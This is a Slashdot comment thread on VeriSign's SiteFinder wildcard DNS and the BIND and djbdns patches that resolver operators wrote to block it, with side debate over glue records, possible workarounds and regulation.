      Too bad the HTTP_REFERER isn't a mandatory header component. Were that the case, one could dependably check for deep linking.. but since it's not, there's no way to use the envvar reliably.

      -AC

    27. Re:Good for BIND by shokk · · Score: 2, Interesting

      Speaking of which, it looks like others have joined the bandwagon. Take a look at http://www.catse.cx. This is not as heinous as .cx is perfectly right in administering their own domain and this really is more along the lines of a service, but it's still pretty gray. Verisign's move is just plain slimy.

      --
      "Beware of he who would deny you access to information, for in his heart, he dreams himself your master."
    28. Re:Good for BIND by leviramsey · · Score: 2, Informative

      Let's see...

      gamefaq.com leads to a page for gamefaqs.com... no pr0n there.

      whitehouse.com is the site for a pr0n magazine which predated the internet. The act wouldn't cover that case.

      As for resonatorsoft.com, it's not pr0n either.

      So you're 0-3 thus far...

    29. Re:Good for BIND by NickFitz · · Score: 1
      So how does whitehouse.com get away with it?

      Others have explained this one, but could this legislation be the reason why www.nasa.com used to link to porn (c. 1998) but now links to weight loss pill ads masquerading as a search engine?

      I do not want to link to pr0n on /.

      That makes one of you :-)

      --
      Using HTML in email is like putting sound effects on your phone calls. Just say <strong>no</strong>.
    30. Re:Good for BIND by johnnyb · · Score: 1

      However, law suits in this case are valid. The law is what gives Verisign the authority to control DNS, and therefore when they abuse this power they should be held accountable. I agree with your sentiments in general, but since Verisign is essentially acting on behalf of the government I think it needs government intervention.

    31. Re:Good for BIND by jjshoe · · Score: 1

      get away with what? its not a miss-spelling.

      --
      -- botsex is {grep;touch;strip;unzip;head;mount} /dev/girl -t {wet;fsck;fsck;yes;yes;yes;umount} {/de
    32. Re:Good for BIND by babyrat · · Score: 1

      perhaps they are based in a different country where 'federal' laws are different?

    33. Re:Good for BIND by HiThere · · Score: 1

      They should also be forced to hold board elections, as should ICANN. But they've managed to slip away from their charter, and nobody's been able to coerce them to obey it.

      Don't expect any honesty or decency from that bunch.

      --

      I think we've pushed this "anyone can grow up to be president" thing too far.
    34. Re:Good for BIND by gizmonic · · Score: 1

      Make the states get involved, not the private attorneys.

      Of course, that means that we, as taxpaying citizens, are still footing the bill for the lawsuit.

      I say let me tweak BIND and go about my business, and let the ones who are up in arms to start a legal battle pay for their own lawsuit.

      But, hey, that's just me...

      --
      WWJD?
      JWRTFM!
    35. Re:Good for BIND by Alsee · · Score: 1

      Verisign contact information page

      Gee, look at all of those toll free numbers.

      -

      --
      - - You can't take something off the Internet! That's like trying to take pee out of a swimming pool.
    36. Re:Good for BIND by Joe+U · · Score: 1

      The fines resulting from the lawsuit would easily pay for the bill.

      Tweaking BIND is just a quick fix. It's letting Verisign know that what they are doing is fine, and that you can opt-out of it if you want. Just like spam.

    37. Re:Good for BIND by PhoenixRising · · Score: 1

      Uh, wouldn't marking the .net and .com tld servers as bogus have rather unfortunate consequences?

    38. Re:Good for BIND by Anonymous Coward · · Score: 0

      What anti-cybersquatting laws?

    39. Re:Good for BIND by Anonymous Coward · · Score: 0
    40. Re:Good for BIND by Pharmboy · · Score: 1

      I'm not a DNS wizard, but couldn't Verisign counter this by providing a valid NS RR for non-existant domains that points to one of their nameservers, then dish up IN A 64.94.110.11 from there?

      The problem is there is an infinate number of invalid domains. aaaaaa.com, aaaaab.com, aaaaac.com, etc. That would be one big ass named.conf file for the SOA, and other stuff too.

      --
      Tequila: It's not just for breakfast anymore!
    41. Re:Good for BIND by Pharmboy · · Score: 1

      Take a look at http://www.catse.cx.

      I have to admit, I was wincing while I clicked that domain. Last thing I wanted to see what the goatse effect on a cat....

      But I would agree that this is "acceptable" but not great. The problem is if you are GOING TO have "this site is not registered" then technically, it should not be offered by Verisign only. It should either rotate among all the domain name providers, or provide a list of "companies that can register this name for you" with NO Verisign specific logo. Thus, no incentive tho, huh?

      All said and done, its better to just let a mistyped URL die the natural way, the way God intended it. :D

      --
      Tequila: It's not just for breakfast anymore!
    42. Re:Good for BIND by Anonymous Coward · · Score: 0

      A domain name that includes a word or words to indicate the sexual content of the site is not considered misleading.

      so if you went to "billclinton.com" you would expect to see porn then, thus that would not be misleading?

    43. Re:Good for BIND by shokk · · Score: 1

      I agree the link should just die. I can see the industry that would revolve around failed link lookups with appearances sold to the highest bidder. This would make search engine ranking look like nothing. Everyone types URLs wrong. Plus, I don't think there is any way rotating registrars on failed links could legitimately cover all the smaller registrars or their affliate programs, thus shutting out the smaller guys. That would imply a central organization that controls the rotation...Verisign?

      --
      "Beware of he who would deny you access to information, for in his heart, he dreams himself your master."
    44. Re:Good for BIND by Anonymous Coward · · Score: 0

      The servers to which the non-existant second-level domains have been delegated would be marked as bogus, not the servers which are authoritative for the first-level domains.

    45. Re:Good for BIND by Anonymous Coward · · Score: 0

      Government! Heal Thyself!

    46. Re:Good for BIND by tricorn · · Score: 1

      Don't even need to do that. Just return an NS record, named the same as the query, with supplementary data pointing at the Verisign site, which has a DNS running which returns itself as the A and NS records for any query.

      E.g. query on does_not_exist.com returns:
      does_not_exist.com. 900 IN NS does_not_exist.com.
      does_not_exist.com. 900 IN A 64.94.110.11 (as additonal information)

      Then the nameserver at 64.94.110.11 has the same thing (returns both A and NS records).

      Then someone will patch BIND to check for an SOA record at the authoritative NS; then Verisign will generate an SOA record as well in the next round.

    47. Re:Good for BIND by Pharmboy · · Score: 1

      E.g. query on does_not_exist.com returns:
      does_not_exist.com. 900 IN NS does_not_exist.com.
      does_not_exist.com. 900 IN A 64.94.110.11 (as additonal information)


      yea, that will work fine for everyone using that one DNS server. But if the root servers don't use that, then it wont work. When you request a non-valid domain that no root server has the SOA listed for, its wont work. I am not sure what you are suggesting.

      Unless you are suggesting updating the SOA for every possible domain name as they are requested. Like I said, infinite amount of possible domains. 50 lines of perl could cause a few millions SOA records a day on a single T1 easily. They have to create a.com - zzzzzzzzzzzzzzzzzzzzzz(+).com and there will be more bogus SOA records than real ones in a matter of days. Yea, the owners of the root servers would just love that. 2x, 4x, 8x, 16x - 65535x the records to keep up with, all to benefit Verisign only? Ha. Now imagine 100 or 1000 people running this script, even setup as distributed computing. I know shit, but even I could do this in PERL. And it is not a DDOS, its a legitimate script to test what FQDN are available.

      If you are talking about patching everyone's BIND to do this, then no, it certainly won't happen. ISC isn't going to put that in there, and I can too easily take it out if they did, and so would every dns server operator, since it would cause too much work on the server, all for the financial benefit of Verisign.

      Either way, there are alot more steps to dns. I am FAR from a bind expert, but I am pretty confident it would be easy to prevent this on an individual level anyway, through iptables or a recompiling bind and the root servers would freak out and shitlist Verisign for even thinking about this.

      --
      Tequila: It's not just for breakfast anymore!
  5. hmmm don't want to be alarmist by nounderscores · · Score: 2, Insightful

    but couldn't this be the thin end of the wedge towards technologically mediated censorship?

    after all, almost anything is possible with the a patch... it just takes the will to do it.

    ____________________________________________
    I' m a programmer with a soldering iron, and I'm not afraid to use it.

    1. Re:hmmm don't want to be alarmist by Anonymous Coward · · Score: 1, Informative

      but couldn't this be the thin end of the wedge towards technologically mediated censorship?

      Nope, no chance of that. You hace to actively define the zones for delegation-only.

      From a post by Paul Vixie:

      > And make it default configuration for new bind releases...

      never. not for your example, nor for any set of tld's. the default for
      bind will be what it's always been -- to respect the autonomy of the
      zone administrator/publisher. overriding that autonomy has to be a
      local act by a local name server administrator who is fully conscious of
      the impact of their configuration change. once, with "check-names", isc
      was accused of "legislating from the bench". never again.

    2. Re:hmmm don't want to be alarmist by kidlinux · · Score: 1

      "almost anything is possible with the a patch... it just takes the will to do it."

      It also takes the will to install it. If people don't like what it does, then it won't get installed.

      --
      -kidlinux.
    3. Re:hmmm don't want to be alarmist by np-complete · · Score: 1

      If you don't like your ISP's or whoever's policy, you can just set up your own nameserver. Problem solved.

      --
      Can you sum it up in a word? *No.* In a noise? *Whuuuurghhhhh!*
  6. How will this work? by kybosh · · Score: 3, Interesting

    I assume the patch will filter requests, which resolve to the site-finder IP, so what's to stop VeriSign simply changing IPs every so often?

    Of course, hopefully this and public opinion will actually cause VeriSign to rethink the whole operation. (We can at least dream)

    1. Re:How will this work? by mccalli · · Score: 4, Insightful
      I assume the patch will filter requests, which resolve to the site-finder IP...

      I'd say that's quite an assumption. Were I coding this patch, for example, the IPs for which to return NXDOMAIN would be specified in a config. That config would be able to take single IPs and also ranges.

      ...so what's to stop VeriSign simply changing IPs every so often?

      I wouldn't write this off as ineffective yet. We need to see what methodolgy is being chosen before we can comment on its technical effectiveness.

      Cheers,
      Ian

    2. Re:How will this work? by close_wait · · Score: 5, Informative
      I assume the patch will filter requests, which resolve to the site-finder IP, so what's to stop VeriSign simply changing IPs every so often?

      No, the patch doesn't do filtering in that sense. It just allows you to mark some zones in your BIND config file (such as .com and .net), that should only contain delegation information. So basically if your BIND server recieves back A record(s) rather than NS delegation records from a server authoritative for .com , BIND simply ignores it.

      Simple and elegant, and nothing Verislime can do about it. (I hope.)

    3. Re:How will this work? by george_w · · Score: 1

      Wouldn't it just be possible for BIND to do a lookup once in a while for "*.com" or "*.net"?
      If the address of any queried domain matches this IP address --> NXDOMAIN

      Oh btw: make it configurable so it can be applied to any TLD :-)

      Or am I missing something here?

    4. Re:How will this work? by Michael+Hunt · · Score: 2, Insightful

      That approach is fucking dangerous.

      Why? Glue records. You are _meant_ to receive certain As from the parent servers of a domain delegated to nameservers which live within its own namespace.

      For example, let's say I have the domain movezig.com. I fill in a host template to for the two nameservers, base.movezig.com (3.214.8.19) and cats.movezig.com (3.217.21.40), then delegate it to those nameservers. Obviously, if the .com NSs only returned movezig.com IN NS base.movezig.com and movezig.com IN NS cats.movezig.com, we'd have a problem of infinite recursion.

      So, nameservers are designed to respond with A records for authoritative nameservers when a domain is delegated to NSs within its own zone.

      Since these records are sent by the servers authoritative for the parent zone (they live in the same zonefile as the NS records do), filtering them would break resolution of roughly 20% of the internet.

      Bad idea.

      A much better idea is to merely filter out any responses under a configurable set of parent TLDs where the authority section returned matches a preconfigured list of NSs.

      For example, doing a lookup for f00bw1tz.com (which i presume doesn't exist) returns an A of 64.94.110.11 as expected, with the Authority section claiming com. IN NS (a-m).gtld-servers.net.

      This would be the tricky way of doing it.

    5. Re:How will this work? by close_wait · · Score: 2, Informative
      That approach is fucking dangerous.

      Why? Glue records. You are _meant_ to receive certain As from the parent servers of a domain delegated to nameservers which live within its own namespace.

      But glue records are very specific, and can be easily checked for. Only if an A record matches one of the names in the NS records need it be kept.

    6. Re:How will this work? by Paul+Jakma · · Score: 5, Informative

      That approach is fucking dangerous.

      Why? Glue records. You are _meant_ to receive certain As from the parent servers of a domain delegated to nameservers which live within its own namespace.


      However, you're missing a crucial part: when you ask the delegating server for the NS records, the glue A records are given out in the additional section, not in the answer section.

      The ISC patch disregards /authoritative/ non-apex data from zones configured as delegate only. however, it can still make use of additional data (ie glue). Glue records are never queried directly AFAIK when a DNS server is sending queries to determine the set of authoratitive servers for a zone, so the patch does not cause any problems.

      --
      I use Friend/Foe + mod-point modifiers as a karma/reputation system.
    7. Re:How will this work? by lazlo · · Score: 2, Interesting
      Well, the thing that bugs me about this solution is that it seems really easy to get around.

      Right now verisign has the equivalent of, in the .com zone:
      * IN A 64.94.110.11
      Now, it seems to me that it would be really simple for them to change that to something more like:
      * IN NS ns.searchstation.com
      (and, of course, a wildcard A record in ns.searchstation.com)
      To me, it looks like the only way to get around this more permanently is to have BIND check periodically for some known-not-to-exist domain name (figuring that one out might be tricky), and use the reply as a reference. If it gets other replies like that, then return NXDOMAIN.

      I do find it kind of interesting that, at this time, verisign is only returning wildcard A records, not NS, not MX, not SOA. Hmmm.
      --
      Pound! Bang! Bin! Bash! is this a shell script or a Batman comic?
    8. Re:How will this work? by swb · · Score: 1

      Were I coding this patch, for example, the IPs for which to return NXDOMAIN would be specified in a config. That config would be able to take single IPs and also ranges.

      That's what I was hoping the patch would do as well, since it's only a futher hack on the part of Verisign to wildcard the entire DNS transaction, although I think from a maintenance standpoint the patch is probably cleaner since you're not having to maintain a list of IPs. But even a list of IPs has a mitigation factor, since their lame sitefinder service would be tough to move around on IPs alot if it is expected to be reliable.

    9. Re:How will this work? by apdt · · Score: 1

      If you have a look here you'll see that the patch makes it possible to specify that certain zones (e.g. com. and net.) can only return NS records, and not A records, so (for example) A records in the com zone are ignored.

      --
      I lay awake last night wondering where the sun had gone, then it dawned on me.
    10. Re:How will this work? by Rich0 · · Score: 1

      To me, it looks like the only way to get around this more permanently is to have BIND check periodically for some known-not-to-exist domain name (figuring that one out might be tricky), and use the reply as a reference.

      This is easy. Generate 50-100 queries to completely random names which are 15 characters in length. Use as reference any responses which are identical among more than 2 of the responses. Unless Verisign round-robins the response to at least 20-30 IPs they will all be filtered, and if you stumble on a real host by accident it won't come up more than once. You don't want to hard-code the query otherwise Verisign will just add an exception for it.

    11. Re:How will this work? by np-complete · · Score: 1

      The patch allows you to specify any zone (in this case com and net) as delegation-only; only nameserver (NS) records for subdomains will be returned. Since the address records returned for nonexistent domains are undelegated wildcard records, they won't be returned whatever the wildcard points to. Of course, Verisign could just return an NS record to an ordinary nameserver which would then serve up an address record, but DNS admins can mark those servers as bogus without any need for patching.

      --
      Can you sum it up in a word? *No.* In a noise? *Whuuuurghhhhh!*
    12. Re:How will this work? by DavidTC · · Score: 1
      And the reason some random person would tell BIND to only allow delegation from mozezig.com is what, exactly?

      Any idiot out there can easily break your own domain from resolving on his DNS servers, accidently or on purpose, that's not really an issue.

      The point of saying something is delegate only is to put in a TLD, which don't even have A records. (Try 'dig com' sometime and see if you get an A record.) Saying 'don't accept A records, just NS records, when querying about the com record' won't break a single thing.

      If someone said the same thing about the movezig.com record, hey, yeah, it's breaka lot of shit, but so would marking movezig.com's nameserver as lame, or firewalling it, or an infinite number of things they could do to screw themselves and become unable to reach you.

      And now someone's about to point out that Verisign can fix this problem by setting up a different wildcard nameserver, and return NS records for all invalid domains pointing at it but a) you can't wildcard NS records with standard BIND, so they'd end up having to issue a patch to all the .com and .net operators (And, no, calling them the 'root operators' is just confusing.), and b) Everyone would just immediately delegate that nameserver as lame and it would stop working.

      In theory, Verisign could rotate the IPs fast enough that it's hard to catch, but they wouldn't do that very long before everyone just started marking all their IPs as lame. And at that point it's rather obvious they're going against the express wishes of the entire internet community.

      --
      If corporations are people, aren't stockholders guilty of slavery?
    13. Re:How will this work? by johnnyb · · Score: 1

      Nope. The way it will work is that you can specify certain zones as "Delegation Only". So, the root name servers can be designated as delegation-only, meaning that they cannot resolve domain names themselves, but can only delegate to authoritative name servers. So, the intermediate servers will only accept NS records from them, and not A records. Anyway, the only possibility I see is that if the wildcards started only containing NS records that point to Verisign servers. However, I don't think the code to do that is part of BIND right now, and the actually name-serving software is not in Verisign's control I don't think.

    14. Re:How will this work? by Anonymous Coward · · Score: 0

      Careful who you reference.
      http://www.verislime.com/ gives me:
      The SSL/TLS-aware Apache webserver was
      successfully installed on this website.

      Apparently registered to someone in NZ.

  7. Bug your ISP by jez_f · · Score: 4, Interesting

    As soon as a patch comes out, bug your ISP to sort out their DNS servers. Try and nip this thing in the bud
    Interesting that BIND only runs 80% of DNS servers, what is the other 20% made up of?

    1. Re:Bug your ISP by insomaniac · · Score: 3, Informative

      Well, windows dns, maradns, powerdns... etc etc.

      Or they are like me and use djbdns, and won't go back.. ;)

      There is a patch for djbdns, but they're not official so I wouldn't reccomend blindly using them.

      --
      The way to corrupt a youth is to teach him to hold in higher value them who think alike than those who think differently
    2. Re:Bug your ISP by superpeach · · Score: 3, Informative

      Or if you get bored you could try dnsmasq and block the sitefinder yourself. As of yesterday dnsmasq has had the option to return NXDOMAIN when it recieved the 64.94.110.11 address (or any others you choose)

    3. Re:Bug your ISP by doon · · Score: 5, Informative
      We are a bind shop, But I know othesr that run Really depends on if you need a Recursive Caching server or just an Authoritive Server.
      --
      To E-mail me, replace the first period in my domain with an @
    4. Re:Bug your ISP by Yaa+101 · · Score: 1

      80% is not only... it's a lot...

    5. Re:Bug your ISP by Draoi · · Score: 1, Redundant
      Interesting that BIND only runs 80% of DNS servers, what is the other 20% made up of?

      Well, there's TinyDNS, djbdns and MaraDNS, just for starters. And whatever those Windows folks use on their server OS.

      Interesting to note that djbdns has already been patched to workaround the Verisign nonsense ....

      --
      Alison

      "It is a miracle that curiosity survives formal education." - Albert Einstein

    6. Re:Bug your ISP by quigonn · · Score: 1

      Actually, tinydns ist part of djbdns. djbdns consists of tinydns and dnscache (+ several DNS-related helper tools).

      --
      A monkey is doing the real work for me.
    7. Re:Bug your ISP by Vic+Metcalfe · · Score: 3, Interesting

      The problem with the dnscache (djbdns) patch is that it filters based on IP addresses. While this is the obvious solution, I don't think it is the best solution. I think BIND's approach is to list the domains that should be delegate only, and that is a better approach because that way they can't just change the IP every day to avoid getting blocked.

      Better yet (and I could very well be wrong here) I'd like to see a patch that would force all TLD's to be delegate only. I don't know of any examples off hand where that would be a problem on the Internet... Maybe in an internal network, in which case the sysadmins just don't apply the patch or disable the feature.

    8. Re:Bug your ISP by smallpaul · · Score: 1

      My ISP had already sold me out to "buydomains.com" before Verisign pulled this stunt. It seems they've already set up a filter to re-establish themselves in case of domain typo because I'm seeing buydomains.com, not Verisgn.

    9. Re:Bug your ISP by duffbeer703 · · Score: 1

      5% djbdns, tinydns, etc.
      15% Windows DNS

      --
      Conformity is the jailer of freedom and enemy of growth. -JFK
    10. Re:Bug your ISP by Draoi · · Score: 1
      Better yet (and I could very well be wrong here) I'd like to see a patch that would force all TLD's to be delegate only.

      Shouldn't be a problem, I'm guessing, providing the exception (.local for ZeroConf) is catered for. It's the only one I can think of.

      --
      Alison

      "It is a miracle that curiosity survives formal education." - Albert Einstein

    11. Re:Bug your ISP by Anonymous Coward · · Score: 0

      Thanx for that link... I allways wondered how i there was such a utility.

    12. Re:Bug your ISP by michrech · · Score: 1

      We are a bind shop, But I know othesr that run

      Was that a "Slashdot Efect" that was spoken of earlier?

      =]

      --
      bork bork bork!
    13. Re:Bug your ISP by Anonymous Coward · · Score: 0

      5% djbdns, tinydns, etc.
      15% Windows DNS


      Considering that MS has quit running it and uses bind, I would guess that the numbers are reversed or split.
      5% MS DNS
      10% others

    14. Re:Bug your ISP by Ricin · · Score: 1

      The patch looks fine, it's very simple. You can echo the IP number(s) to /your_service_spool/dnscache/env/IGNOREIP

      So it's somewhat unflexable in the sense that you must define that env variable but it does the job.

    15. Re:Bug your ISP by doon · · Score: 2, Funny

      Yep. Fat Fingers Strike again. To my defense, damn pager kept going off last night. To quote my wife "Hon, you really need a job that doesn't wake you @ 4am". :)

      --
      To E-mail me, replace the first period in my domain with an @
    16. Re:Bug your ISP by nstrom · · Score: 1

      This *could* be attributed to spyware; there are known spyware components that much around with domain resolving.

      What's your ISP, btw? They sound pretty scummy, it's probably a good idea that others steer clear of them.

    17. Re:Bug your ISP by japhie · · Score: 2, Insightful

      There is a patch for djbdns, but they're not official so I wouldn't reccomend blindly using them.

      What would you call `official patch for djbdns', one released by DJB? Forget it. ;) There are no `official' patches for any djbware.

      The ignoreip2-patch with ignoreip-update posted on dns@list.cr.py.to seem to be the Right Way for now.

    18. Re:Bug your ISP by ajs · · Score: 0, Troll

      Linux is for people who feel they have to prove something; BSD is for people who don't need to.

      OS/Warp is for people who feel they have to prove something; Windows 3.11 for Workgroups is for people who don't need to.

      Wowza, it really is easy to make empty and yet important sounding claims into sound-bites! Thanks!

    19. Re:Bug your ISP by warpSpeed · · Score: 1
      To quote my wife "Hon, you really need a job that doesn't wake you @ 4am". :)

      To quote my wife "Hon, you really need a job that doesn't wake me up @ 4am".

    20. Re:Bug your ISP by Neon+Spiral+Injector · · Score: 3, Informative

      The bruteforce method:

      include "named.delegation-only";

    21. Re:Bug your ISP by conan_albrecht · · Score: 1
      Linux is for people who feel they have to prove something; BSD is for people who don't need to.

      Hmm. After using FreeBSD's ports system and Debian's apt-get system, I'll take Debian any day. Nothing against FreeBSD, but apt-get has been much more reliable for me.

      While your sig is true for a few linux users, many of us simply use it because it works better than anything else we've used.

    22. Re:Bug your ISP by fingusernames · · Score: 1

      I tried FreeBSD once, but it wouldn't talk over my NIC. It saw it, configured it, and acted like it worked. But there was never any network activity out of it. Installed Linux, worked fine. This was on a HP Kayak with a NIC which, I believe, FreeBSD used the pcnet driver for. I was rather disappointed: I started Unix with pre-Solaris SunOS, and BSD OSes on Gould & DEC. Maybe I'll try again with a 3com NIC. So I suppose in my case, I used Linux because it worked.

      Larry

    23. Re:Bug your ISP by raju1kabir · · Score: 1
      The problem with the dnscache (djbdns) patch is that it filters based on IP addresses. While this is the obvious solution, I don't think it is the best solution. I think BIND's approach is to list the domains that should be delegate only, and that is a better approach because that way they can't just change the IP every day to avoid getting blocked.

      The djbdns approach actually seems better, to me.

      With the BIND approach, Verisign just has to switch from directly handing out an A record, to handing out a delegation to one of their name servers, and then have that one hand out the A. Then the BIND patch is useless.

      However, with the djbdns approach, all they can do is move around to new IP addresses. But these are easy to find. Have a daily cron job generate 10 or 20 long, random domains and issue queries. If it gets the same address on more than a few, add it to the ignoreip file and svc -t /service/dnscache, and you're good to go, once again protected against Verisign's poisoning of the DNS. This could even be done on a distributed basis ala razor. IP space is finite, so while Verisign can run, they can't hide.

      --
      "Patriotism is your conviction that this country is superior to all other countries because you were born in it." -- GBS
    24. Re:Bug your ISP by Pseudonym · · Score: 1

      Many ISPs over a certain size run more than one DNS server, at least one of which is a different kind than the others. That way, if an exploit is found in one kind of server, the other will still be available.

      DNS is a sufficiently critical service that this is almost always worth it.

      --
      sub f{($f)=@_;print"$f(q{$f});";}f(q{sub f{($f)=@_;print"$f(q{$f});";}f});
    25. Re:Bug your ISP by insomaniac · · Score: 1

      Actually I just saw this quote in a comment from someone else and I liked it enough.
      I run debian unstable on my laptop and like it, but still I would not like to run debian on my farm, alltho it would be my first choice if I wanted to run a linux.
      It's not just the package system (alltho ports is for source packages, apt-get is for binaries, bsd has its own binary packages whicha are very reliable) its the feeling I get with all linux distros that its just a kernel and some utils thrown together, it just doesn't feel very robust to me.

      --
      The way to corrupt a youth is to teach him to hold in higher value them who think alike than those who think differently
  8. Re:Sqatting by richie2000 · · Score: 5, Interesting
    Oh well, it was bound to happen at some point...

    The .nu domain registry has been doing this for years.

    --
    Money for nothing, pix for free
  9. the patch by colinleroy · · Score: 3, Informative

    Isn't it this one ?
    I'm asking because the wording is quite hard to understand as my main language isn't english ;)

    --
    blah
    1. Re:the patch by Spazmania · · Score: 4, Interesting

      That's the one.

      Clever solution. They rigged it so that you can declare the .com zone as "delegation only." If you do, then your name server will only accept referrals from the .com servers (NS records and any associated glue).

      So, if BIND makes a non-recursive query for www.verisign-is-really-bad.com from a server authorative for .com and it gets back an A record for 10.0.0.1 instead of an NS record for ns.verisign-is-really-bad.com, it responds to the host querying it with NXDOMAIN instead of the A record.

      Verisign could work around this by replacing the A record with a wildcard NS record pointing to ns.sitefinder.verisign.com or some such, and then having that new name server return an IP address for any query made of it.

      The question is: is Verisign willing to escalate the matter or will they back off?

      --
      Moderating "-1, Disagree" is simple censorship. Have the guts to post your opinion.
    2. Re:the patch by duplicate-nickname · · Score: 1

      What is to stop Verisign from returning NS referals now instead of A records? Then they would just need to point those NS records to their own DNS servers holding the *.com/*.net wild card...correct?

      --

      ÕÕ

    3. Re:the patch by tyllwin · · Score: 1

      That's the same thought I had -- hell, the "ns.sitefinder.verisign.com" site wouldn't even need to run a real nameserver, just to respond to any query with some address from a pool. Are Spazmania and I just off the beam here, and there's some reason this wouldn't work?

      I'm thinking we'll eventually have to see a BIND patch which *both* ignores the A records from the .com tld nameservers *and* allows you to override the answer with NXDOMAIN if the answer matches an IP address in some config file....

    4. Re:the patch by kubrick · · Score: 1

      The question is: is Verisign willing to escalate the matter or will they back off?

      If they were willing to stuff things up like they already have, they won't mind treading on a few more toes.

      --
      deus does not exist but if he does
  10. Here is ISC's web page for delegation Only zones by doon · · Score: 5, Informative


    http://www.isc.org/products/BIND/delegation-only .h tml

    --
    To E-mail me, replace the first period in my domain with an @
  11. Internet standards humor alert by mwise · · Score: 5, Funny

    "VeriSign did not respond requests for comment."

    Isn't that what caused the problem in the first place?

    Thanks, I'll be here all week!

    1. Re:Internet standards humor alert by AndroidCat · · Score: 5, Funny

      "VeriSign did not respond requests for comment." Strange that requests for comment didn't end up at 64.94.110.11.

      --
      One line blog. I hear that they're called Twitters now.
  12. very cool.. dnscache? by dizco · · Score: 0

    This is very cool. Does anyone know how to do this with DJBDNS? I started thinking about it the night verisign turned on the wildcards, but promptly forgot to look any further.

    1. Re:very cool.. dnscache? by radish · · Score: 1

      There is a patch floating around already, it was posted in at thread on the previous story about this. It allows you to specify in config one or more IPs which, if they are the lookup result, will be replaced with failures.

      --

      ---- Den ene knappen er powerknapp, den andre er Bender voice knapp "Bite My Shiny Metal Ass"

    2. Re:very cool.. dnscache? by Torne · · Score: 5, Informative

      Yep, the patch for dnscache by veteran Russ Nelson is here:
      tinydns.org/djbdns-1.05-ignoreip.patch

    3. Re:very cool.. dnscache? by cedricd · · Score: 1

      Sure, Try here

    4. Re:very cool.. dnscache? by Anonymous Coward · · Score: 0

      Are there any patches for Glibc yet? It would probably be useful to be able to return -1 from the various resolver functions (gethostby...() etc.) if the IP matched was 64.94.110.11 Just in case your ISP isn't using BIND, or hasn't upgraded.

    5. Re:very cool.. dnscache? by richard-parker · · Score: 4, Informative

      Does anyone know how to do this with DJBDNS?
      A list of patches for various name servers can be found here.

      Unfortunately the djbdns patch at that URL is not as elegant as the official patch from ISC for BIND. Unlike the ISC BIND patch, the djbdns patch does not support the declaration of "delegation-only" zones. Instead, it adds support for the rather crude technique of converting an A record response containing an operator specified IP address (which you would currently set to 64.94.110.11) into a NXDOMAIN response.
    6. Re:very cool.. dnscache? by Torne · · Score: 1

      Oh, yes, it would be nice if someone would implement the delegation-only mode of filtering for djbdns, however, ignoring the IP works for now and is the easiest thing to implement reliably and securely.

    7. Re:very cool.. dnscache? by Russ+Nelson · · Score: 2, Informative

      Even better is the version I wrote last night, which lets you ignore a list of names.
      names.tinydns.org/djbdns-1.05-ignoreip2.patch.
      -russ

      --
      Don't piss off The Angry Economist
    8. Re:very cool.. dnscache? by Russ+Nelson · · Score: 2, Insightful

      Yup. It's crude. On the other hand, it's simple. Simple is good because you can read the patch and understand it. Consider that ISC has published three or four remote root exploits, and djbdns has had no exploits, remote, root, or otherwise. I'll take crude over insecure any day. J.P. Larocque has a script which lets you update root/ignoreip. You can update that file in a few seconds. An ISC-enabled root exploit means a complete reinstall unless you seriously trust your ability to remove a rootkit. Let's say it takes five seconds to update the file. Let's say it takes a whole day to reinstall your server (optimistic). Let's say there's a 1 out of ten thousand chance of this code causing a remote root exploit. There's 86K seconds in a day, so their code costs you 9 seconds a day. Given those assumptions, the "automatic" ISC procedure for updating the ignorable IP addresses costs you more time, on average, than updating by hand every day.
      -russ

      -russ

      --
      Don't piss off The Angry Economist
    9. Re:very cool.. dnscache? by Torne · · Score: 1

      Thanks Russ, applied. Would you consider implementing something similar to the delegation-only system described in this article for djbdns? It seems to me that it would be both more likely to continue to work (no dependence on fixed IPs), and more flexible in that it would block other types of DNS abuses by the registries which may be committed in the future.

    10. Re:very cool.. dnscache? by Anonymous Coward · · Score: 0

      Lets say your grasping for straws.

    11. Re:very cool.. dnscache? by Russ+Nelson · · Score: 1

      Lets say "If you want a [substantive] reply, log in".

      --
      Don't piss off The Angry Economist
    12. Re:very cool.. dnscache? by Anonymous Coward · · Score: 0

      Russ,

      I am a different AC than the prior one.

      I am also a djb fan and I thank you very much for the patch. (Sigh, I really want a dnscache that runs under cygwin...., can you help me out there?)

      The prior AC's comment did make me chuckle however.... (Sorry.)

  13. Legal consequences by Anonymous Coward · · Score: 0

    The DoJ has no compunction against pursuing cyber squatters.

  14. ISC ROCKS by c0d39uru · · Score: 1

    That's fucking awesome! The ISC rocks. Verisign has no right to abuse their position like that. Way to go for people fighting the power!

    --
    --#!
    1. Re:ISC ROCKS by AKnightCowboy · · Score: 4, Interesting
      That's fucking awesome! The ISC rocks. Verisign has no right to abuse their position like that. Way to go for people fighting the power!

      I said it a long time ago, but there's a very simple way to fix this problem. Alternic was offering a solution 7 or 8 years ago for the Network Solutions monopoly. If BIND decided to distribute a seperate set of root servers in a cache file and enough ISPs used it the Internet DNS system as we know it today could change overnight. ;-) There is NOTHING giving ICANN or Verisign any power except our own complacency to not change a single file in our DNS server. It's laziness.

    2. Re:ISC ROCKS by arivanov · · Score: 1
      The ISC rocks

      They do not. For them it is a simple business matter as Vixie is also on the board of MAPS RBL which provide antispam services and Above.NET which is a big ISP.

      --
      Baker's Law: Misery no longer loves company. Nowadays it insists on it
      http://www.sigsegv.cx/
    3. Re:ISC ROCKS by schon · · Score: 1

      there's a very simple way to fix this problem.

      Yes, and if someone wanted to move Mount Rushmore to Washington, DC, that same way would have to be used.

      And spam - there is a very simple way to stop spam - all the ISP's just have to stop allowing people to do it!

      I think you're stretching the definition of the word 'simple'.

    4. Re:ISC ROCKS by hephro · · Score: 2, Informative

      If BIND decided to distribute a seperate set of root servers in a cache file and enough ISPs used it the Internet DNS system as we know it today could change overnight. ;-)


      The root servers do not serve .com & .net. What you'd want is that they delegate .com & .net to somebody != Versign, but that's decision that is up to IANA and Paul Vixie and others have made it clear on nanog that their root servers will not go against IANA.

      Moreover, alternative root servers would have to delegate .com & .net to some other trusted(?) party...

    5. Re:ISC ROCKS by AKnightCowboy · · Score: 1
      Moreover, alternative root servers would have to delegate .com & .net to some other trusted(?) party...

      Like Verisign? After this stunt they have proved they have no business managing the .net and .com zones.

    6. Re:ISC ROCKS by SillySlashdotName · · Score: 1

      I think you're stretching the definition of the word 'simple'.

      My new sig!! Thanks!

      --
      Acts of massive stupidity are almost never covered by warranty. --me.
    7. Re:ISC ROCKS by prog-guru · · Score: 1

      even better, BIND 9 has no need for the 'root.ca' file, and has compiled in hints. I bet they could just update the root zone with a new serial, and we'll get it.

      --

      chris@xanadu:~$ whatis /.
